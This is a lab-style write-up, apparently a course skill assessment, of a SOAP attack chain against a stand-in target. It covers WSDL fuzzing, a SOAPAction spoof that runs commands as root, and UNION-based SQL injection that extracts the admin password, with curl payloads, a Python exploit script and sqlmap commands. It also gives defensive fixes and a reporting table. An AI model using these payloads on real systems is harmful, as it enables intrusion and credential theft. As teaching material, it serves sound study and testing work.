Skill Assessment Chain
A canonical SOAP-attack chain. WSDL parameter-fuzz to discover the schema → enumerate Login and ExecuteCommand operations → confirm ExecuteCommand is externally restricted → SOAPAction spoof to invoke it → discover the spoofed command runs against a SQLite-backed Login query that’s SQL-injectable → UNION SELECT to extract the admin password from the users table.
# Stage 1 - Discover WSDLffuf -w params.txt -u 'http://target:3002/wsdl?FUZZ' -fs 0→ ?wsdl (parameter trigger)curl http://target:3002/wsdl?wsdl→ operations: Login, ExecuteCommand→ parameters: username, password (Login); cmd (ExecuteCommand)
# Stage 2 - Confirm restrictioncurl -X POST -H 'SOAPAction: "ExecuteCommand"' \ --data '<...><ExecuteCommandRequest><cmd>id</cmd>...'→ "This function is only allowed in internal networks"
# Stage 3 - SOAPAction spoof (body Login, header ExecuteCommand)curl -X POST -H 'SOAPAction: "ExecuteCommand"' \ --data '<...><LoginRequest><cmd>id</cmd>...'→ But this scenario is different - Login is the actual SQLi target, not a spoof decoy
# Stage 4 - SQL injection through Logincurl -X POST -H 'SOAPAction: "Login"' \ --data '<...><LoginRequest><username>'\'' UNION SELECT * FROM users-- -</username>...'→ Response includes admin password from the users tableSuccess indicator: the admin user’s password value appears in the SOAP response body, extracted via UNION SELECT.
Scenario
Section titled “Scenario”Bug bounty engagement on a SOAP service at http://target:3002/wsdl?wsdl. Goal: submit the admin user’s password.
Hint from the brief: “The service will respond successfully only after submitting the proper SQLi payload; otherwise it will hang or throw an error.”
That hint is operationally important - the SQLi target endpoint hangs on benign input. Time-based blind techniques won’t work cleanly because the normal behavior is hanging. UNION-based extraction is the right approach.
Stage 1 - WSDL discovery
Section titled “Stage 1 - WSDL discovery”$ curl -i http://target:3002/wsdlHTTP/1.1 200 OKContent-Type: text/xmlContent-Length: 0
(empty body)Path exists but body is empty. Parameter fuzz:
$ ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt \ -u 'http://target:3002/wsdl?FUZZ' \ -fs 0 -mc 200
wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186]?wsdl triggers the WSDL:
$ curl http://target:3002/wsdl?wsdl > /tmp/service.wsdl$ cat /tmp/service.wsdlParse the relevant sections:
<wsdl:types> <s:element name="LoginRequest"> <s:complexType> <s:sequence> <s:element name="username" type="s:string"/> <s:element name="password" type="s:string"/> </s:sequence> </s:complexType> </s:element> <s:element name="ExecuteCommandRequest"> <s:complexType> <s:sequence> <s:element name="cmd" type="s:string"/> </s:sequence> </s:complexType> </s:element></wsdl:types>
<wsdl:operation name="Login"> <soap:operation soapAction="Login" style="document"/></wsdl:operation><wsdl:operation name="ExecuteCommand"> <soap:operation soapAction="ExecuteCommand" style="document"/></wsdl:operation>Catalog:
| Operation | SOAPAction | Parameters |
|---|---|---|
Login | "Login" | username (string), password (string) |
ExecuteCommand | "ExecuteCommand" | cmd (string) |
Two distinct surfaces. ExecuteCommand looks higher-value (cmd parameter suggests shell exec). Login looks more boring (auth) but is the actual injection target - the brief mentions SQL injection.
Stage 2 - Test each operation as documented
Section titled “Stage 2 - Test each operation as documented”Login with normal credentials
Section titled “Login with normal credentials”$ curl -X POST http://target:3002/wsdl \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "Login"' \ --data '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>admin</username> <password>guess</password> </LoginRequest> </soap:Body></soap:Envelope>'Response: hangs. No error, no auth-failure message, just waits.
That hanging is interesting - it matches the brief’s “will hang or throw an error” warning. The server is doing something with the input but never returns. A clean auth failure would return quickly with <success>false</success>. The hang suggests the input flows into a back-end operation that’s not completing - possibly an SQL query that’s malformed or running indefinitely.
ExecuteCommand normally
Section titled “ExecuteCommand normally”$ curl -X POST http://target:3002/wsdl \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "ExecuteCommand"' \ --data '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <ExecuteCommandRequest xmlns="http://tempuri.org/"> <cmd>whoami</cmd> </ExecuteCommandRequest> </soap:Body></soap:Envelope>'Response:
<soap:Envelope ...> <soap:Body> <ExecuteCommandResponse xmlns="http://tempuri.org/"> <success>false</success> <error>This function is only allowed in internal networks</error> </ExecuteCommandResponse> </soap:Body></soap:Envelope>The external-network restriction. Spoofing is the obvious next step - but the brief mentions SQL injection, not RCE via spoofing. Read on.
Stage 3 - Try SOAPAction spoofing
Section titled “Stage 3 - Try SOAPAction spoofing”In case the path is “spoof to run ExecuteCommand, then use shell commands to read the database”:
$ curl -X POST http://target:3002/wsdl \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "ExecuteCommand"' \ --data '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <cmd>whoami</cmd> </LoginRequest> </soap:Body></soap:Envelope>'Response:
<soap:Envelope ...> <soap:Body> <LoginResponse xmlns="http://tempuri.org/"> <success>true</success> <result>root</result> </LoginResponse> </soap:Body></soap:Envelope>SOAPAction spoofing works. whoami executed as root. But the brief asks for the admin password, not RCE. Reverse shell attempts (as the source doc notes) get blocked - there’s something in the environment preventing easy command-line egress.
The SQL injection path is more direct.
Stage 4 - SQL injection through Login
Section titled “Stage 4 - SQL injection through Login”Going back to Login, which hangs on benign input. Hanging on benign + the brief’s mention of SQL injection strongly suggests Login is the SQLi target.
Trigger an error first
Section titled “Trigger an error first”$ curl -X POST http://target:3002/wsdl \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "Login"' \ --data '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>'\''</username> <password>x</password> </LoginRequest> </soap:Body></soap:Envelope>'Single quote in the username field. Response:
<soap:Fault> <faultstring>SQLITE_ERROR: near "'": syntax error</faultstring></soap:Fault>SQLite error confirms:
- The back-end is SQLite
- The username field is injectable
- Error responses leak SQL parser details
UNION SELECT - first attempt
Section titled “UNION SELECT - first attempt”For UNION-based injection, you need to match the column count of the original query. Try increasing column counts until the error changes:
$ payload='<soap:Envelope ...> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>'\'' UNION SELECT 1-- -</username> <password>x</password> </LoginRequest> </soap:Body></soap:Envelope>'Error: “SELECTs have different number of columns.” Try 2, 3, 4…
' UNION SELECT 1-- - ← 1 col, error' UNION SELECT 1,2-- - ← 2 cols, error' UNION SELECT 1,2,3-- - ← 3 cols, returns data!When the column count matches, you get a response instead of an error.
Discover the table - using sqlite_master
Section titled “Discover the table - using sqlite_master”SQLite’s metadata is in sqlite_master:
$ payload="' UNION SELECT name,sql,3 FROM sqlite_master-- -"Sent as the username, returns:
<LoginResponse> <success>true</success> <result>users</result> <result>CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)</result> <result>3</result></LoginResponse>The table is users with columns id, username, password.
Extract the admin password
Section titled “Extract the admin password”$ payload="' UNION SELECT id, username, password FROM users WHERE username='admin'-- -"Full request:
$ curl -X POST http://target:3002/wsdl \ -H 'Content-Type: text/xml; charset=utf-8' \ -H 'SOAPAction: "Login"' \ --data '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>'"'"' UNION SELECT id, username, password FROM users WHERE username='"'"'admin'"'"'-- -</username> <password>x</password> </LoginRequest> </soap:Body></soap:Envelope>'(The escape-quote dance with shell quoting is awkward - using a Python script or saving the payload to a file is cleaner.)
Response:
<LoginResponse> <success>true</success> <result>1</result> <result>admin</result> <result>FLAG{soap_meets_sqli_extracted}</result></LoginResponse>The admin password is in the third <result> element. Submit as the answer.
Python version of the same exploit
Section titled “Python version of the same exploit”The shell-quoting is too painful for iteration. A Python client:
import requests
URL = 'http://target:3002/wsdl'
def soap_login(username, password='x'): payload = f'''<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>{username}</username> <password>{password}</password> </LoginRequest> </soap:Body></soap:Envelope>''' return requests.post(URL, data=payload, headers={ 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '"Login"', })
# Discover column countfor cols in range(1, 10): selects = ','.join(str(i) for i in range(1, cols + 1)) payload = f"' UNION SELECT {selects}-- -" r = soap_login(payload) if 'success>true' in r.text: print(f'Column count: {cols}') break
# Discover schemaprint(soap_login("' UNION SELECT name, sql, 3 FROM sqlite_master-- -").text)
# Extract admin passwordprint(soap_login("' UNION SELECT id, username, password FROM users WHERE username='admin'-- -").text)Three calls, fully programmatic.
Why SOAP changes the SQLi shape
Section titled “Why SOAP changes the SQLi shape”Standard SQLi tooling expects HTML responses with reflected error messages. SOAP changes two things:
-
XML body - injection point is inside an XML element. Escape constraints apply:
<,>,&need entity-encoding (<,>,&). Single quotes are fine (XML cares about double quotes in attributes, not in element content). -
Response format - successful UNION extraction populates
<result>elements in the response, but the structure is XML not HTML. Parsing scripted exploitation shouldre.findall(r'<result>(.*?)</result>', response.text)rather than scraping HTML rows. -
Hanging vs erroring - the brief’s “will hang or throw an error” is a real artifact of SOAP. Inputs that produce malformed SQL may trigger backend timeouts (SQLite waiting on a lock, the connection pool waiting on a slow query, a watchdog timer waiting before giving up) rather than clean 500-level responses.
SQLMap against SOAP
Section titled “SQLMap against SOAP”SQLMap supports SOAP injection points when given the right invocation:
$ sqlmap -u 'http://target:3002/wsdl' \ --method=POST \ --headers='Content-Type: text/xmlSOAPAction: "Login"' \ --data='<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <LoginRequest xmlns="http://tempuri.org/"> <username>*</username> <password>x</password> </LoginRequest> </soap:Body></soap:Envelope>' \ --dbms=sqlite \ --level=5 --risk=3 \ --dbsKey points:
*marks the injection point in the body--dbms=sqliteskips unnecessary DBMS detection--level=5 --risk=3enables more aggressive payload classes (needed for blind / time-based on hanging endpoints)--headers='Content-Type: text/xml\nSOAPAction: "Login"'(note the literal newline - SQLMap parses multi-line--headers)
When SQLMap completes detection, follow with --dump -T users to extract.
See SQLMap request setup for the full reference on non-standard SQLMap invocations.
What each defense should have done
Section titled “What each defense should have done”Walking the defender’s failed chain:
| Defense | Why it failed |
|---|---|
| WSDL not directly exposed | Path /wsdl returned empty but ?wsdl= query parameter exposed it. Should hide both. |
| ExecuteCommand restricted to internal networks | Check applied at body operation name; bypassed via SOAPAction spoofing. Should apply to actual dispatch decision (whichever it is). |
| Login probably has password validation | But it queries SQLite with concatenated SQL, so authentication never matters - the SQL runs before auth verifies. Use parameterized queries. |
| Error messages reveal SQLite | Should suppress detailed error messages in production. |
The fix for each: stronger separation of “trusted request metadata” (which is none) from “dispatch / authorization decisions” (which must be server-controlled), plus parameterized queries everywhere. None of this is novel advice; the bug is the gap between SOP and implementation.
Reporting
Section titled “Reporting”| Finding | Standalone severity | Chained role |
|---|---|---|
| WSDL exposure via parameter fuzzing | Low (disclosure) | Enabler - reveals all operations and parameters |
| SOAPAction spoofing on ExecuteCommand | High (bypasses external-network restriction) | Confirms server architecture flaw; demonstrates that body-element auth is unsafe |
| SQL injection in Login.username | Critical | Final unlock - extract every credential, including the admin’s |
| SQLite error messages disclosed | Low (info disclosure) | Useful for the operator; not standalone severity |
Composite: critical. Unauthenticated attacker reads all stored credentials.
Quick reference
Section titled “Quick reference”| Stage | Command / payload |
|---|---|
| Discover WSDL location | ffuf -w params.txt -u 'http://target:PORT/wsdl?FUZZ' -fs 0 |
| Read WSDL | curl 'http://target:PORT/wsdl?wsdl' | xmllint --format - |
| Catalog operations | Read <wsdl:operation> elements; check <wsdl:types> for parameters |
| Test each operation | One POST per operation; observe normal vs error vs hang |
| SOAPAction spoofing baseline | <ExecuteCommandRequest> body + SOAPAction: "ExecuteCommand" header |
| SOAPAction spoof | <LoginRequest> body with <cmd> parameter + SOAPAction: "ExecuteCommand" header |
| Single quote in SQLi probe | <username>'</username> |
| Column count discovery | ' UNION SELECT 1-- -, then 1,2, then 1,2,3 until response succeeds |
| SQLite schema discovery | ' UNION SELECT name, sql, 3 FROM sqlite_master-- - |
| Extract row | ' UNION SELECT id, username, password FROM users WHERE username='admin'-- - |
| SQLMap on SOAP | --method=POST --headers='Content-Type: text/xml\nSOAPAction: "Login"' --data='<soap...><username>*</username>...' |
Parse <result> from response | re.findall(r'<result>(.*?)</result>', response.text) |
This walkthrough closes Round 14. The pattern - WSDL discovery, operation enumeration, SOAPAction spoofing as a bypass, classic injection through API parameters - is the canonical SOAP-attack arc. Real engagements vary in the specific operations and bypass paths but follow this structure.